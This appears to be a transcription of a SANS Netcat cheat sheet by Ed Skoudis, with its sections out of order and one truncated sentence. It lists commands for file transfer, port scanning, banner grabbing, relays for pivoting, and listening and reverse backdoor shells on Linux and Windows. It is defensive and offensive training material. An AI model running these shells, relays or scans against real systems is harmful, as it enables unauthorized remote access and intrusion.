Netcat Relays on Windows

To start, enter a temporary directory where we will create .bat files:

```
C:\> cd c:\temp
```

Listener-to-Client Relay:

```
C:\> echo nc [TargetIPaddr] [port] > relay.bat
C:\> nc -l -p [LocalPort] -e relay.bat
```

Create a relay that sends packets from the local port **[LocalPort]** to a Netcat Client connected to **[TargetIPaddr]** on port **[port]**

Listener-to-Listener Relay:

```
C:\> echo nc -l -p [LocalPort_2] > relay.bat
C:\> nc -l -p [LocalPort_1] -e relay.bat
```

Create a relay that will send packets from any connection on **[LocalPort_1]** to any connection on **[LocalPort_2]**

Client-to-Client Relay:

```
C:\> echo nc [NextHopIPaddr] [port2] > relay.bat
C:\> nc [PreviousHopIPaddr] [port] -e relay.bat
```

Create a relay that will send packets from the connection to **[PreviousHopIPaddr]** on port **[port]** to a Netcat Client connected to **[NextHopIPaddr]** on port **[port2]**

Netcat Command Flags

```
$ nc [options] [TargetIPaddr] [port(s)]
```

The **[TargetIPaddr]** is simply the other side's IP address or domain name. It is required in client mode of course (because we have to tell the client where to connect), and is optional in listen mode.

- -l: Listen mode (default is client mode)
- -L: Listen harder (supported only on Windows version of Netcat). This option makes Netcat a persistent listener which starts listening again after a client disconnects
- -u: UDP mode (default is TCP)
- -p: Local port (In listen mode, this is port listened on. In client mode, this is source port for all packets sent)
- -e: Program to execute after connection occurs, connecting STDIN and STDOUT to the program
- -n: Don't perform DNS lookups on names of machines on the other side
- -z: Zero-I/O mode (Don't send any data, just emit a packet without payload)
- -wN: Timeout for connects, waits for N seconds after closure of STDIN. A Netcat client or listener with this option will wait for N seconds to make a connection. If the connection doesn't happen in that time, Netcat stops running.
- -v: Be verbose, printing out messages on Standard Error, such as when a connection occurs
- -vv: Be very verbose, printing even more details on Standard Error

Netcat Cheat Sheet

By Ed Skoudis

POCKET REFERENCE GUIDE

http://www.sans.org

Purpose

This cheat sheet provides various tips for using Netcat on both Linux and Unix, specifically tailored to the SANS 504, 517, and 560 courses. All syntax is designed for the original Netcat versions, released by Hobbit and Weld Pond. The syntax here can be adapted for other Netcats, including ncat, gnu Netcat, and others.

Fundamentals

Fundamental Netcat Client:

```
$ nc [TargetIPaddr] [port]
```

Connect to an arbitrary port **[port]** at IP Address **[TargetIPaddr]**

Fundamental Netcat Listener:

```
$ nc -l -p [LocalPort]
```

Create a Netcat listener on arbitrary local port **[LocalPort]**

Both the client and listener take input from STDIN and send data received from the network to STDOUT

File Transfer

Push a file from client to listener:

```
$ nc -l -p [LocalPort] > [outfile]
```

Listen on **[LocalPort]**, store results in [**outfile**]

```
$ nc -w3 [TargetIPaddr] [port] < [infile]
```

Push **[infile]** to **[TargetIPaddr]** on **[port]**

Pull file from listener back to client:

```
$ nc -l -p [LocalPort] < [infile]
```

Listen on **[LocalPort]**, prep to push [**infile**]

```
$ nc -w3 [TargetIPaddr] [port] > [outfile]
```

Connect to **[TargetIPaddr]** on **[port]** and retrieve **[outfile]**

TCP Port Scanner

Port scan an IP Address:

```
$ nc -v -n -z -w1 [TargetIPaddr] [start_port]-[end_port]
```

Attempt to connect to each port in a range from **[end_port]** to **[start_port]** on IP Address **[TargetIPaddr]** running verbosely (-v on Linux, -vv on Windows), not resolving names (-n), without sending any data (-z), and waiting no more than 1 second for a connection to occur (-w1)

The randomize ports (-r) switch can be used to choose port numbers randomly in the range

TCP Banner Grabber

Grab the banner of any TCP service running on an IP Address from Linux:

```
$ echo "" | nc -v -n -w1 [TargetIPaddr] [start_port]-[end_port]
```

Attempt to connect to each port in a range from **[end_port]** to **[start_port]** on IP Address **[TargetIPaddr]** running verbosely (-v), not resolving names (-n), and waiting no more than 1 second for a connection to occur (-w1). Then send a blank string to the open port and print out any banner received in response

Add –r to randomize destination ports within the range

Add **-p [port]** to specify a source port for the

Backdoor Shells

Listening backdoor shell on Linux:

```
$ nc -l -p [LocalPort] -e /bin/bash
```

Listening backdoor shell on Windows:

```
C:\> nc -l -p [LocalPort] -e cmd.exe
```

Create a shell on local port **[LocalPort]** that can then be accessed using a fundamental Netcat client

Reverse backdoor shell on Linux:

```
$ nc [YourIPaddr] [port] -e /bin/bash
```

Reverse backdoor shell on Windows:

```
C:\> nc [YourIPaddr] [port] -e cmd.exe
```

Create a reverse shell that will attempt to connect to **[YourIPaddr]** on local port **[port]**. This shell can then be captured using a fundamental nc listener

Netcat Relays on Linux

To start, create a FIFO (named pipe) called backpipe:

```
$ cd /tmp
$ mknod backpipe p
```

Listener-to-Client Relay:

```
$ nc -l -p [LocalPort] 0<backpipe | nc [TargetIPaddr] [port] | tee backpipe
```

Create a relay that sends packets from the local port **[LocalPort]** to a Netcat client connected to **[TargetIPaddr]** on port **[port]**

Listener-to-Listener Relay:

```
$ nc -l -p [LocalPort_1] 0<backpipe | nc -l -p [LocalPort_2] | tee backpipe
```

Create a relay that sends packets from any connection on **[LocalPort_1]** to any connection on **[LocalPort_2]**

Client-to-Client Relay:

```
$ nc [PreviousHopIPaddr] [port] 0<backpipe | nc [NextHopIPaddr] [port2] | tee backpipe
```

Create a relay that sends packets from the connection to **[PreviousHopIPaddr]** on port **[port]** to a Netcat client connected to **[NextHopIPaddr]** on port **[port2]**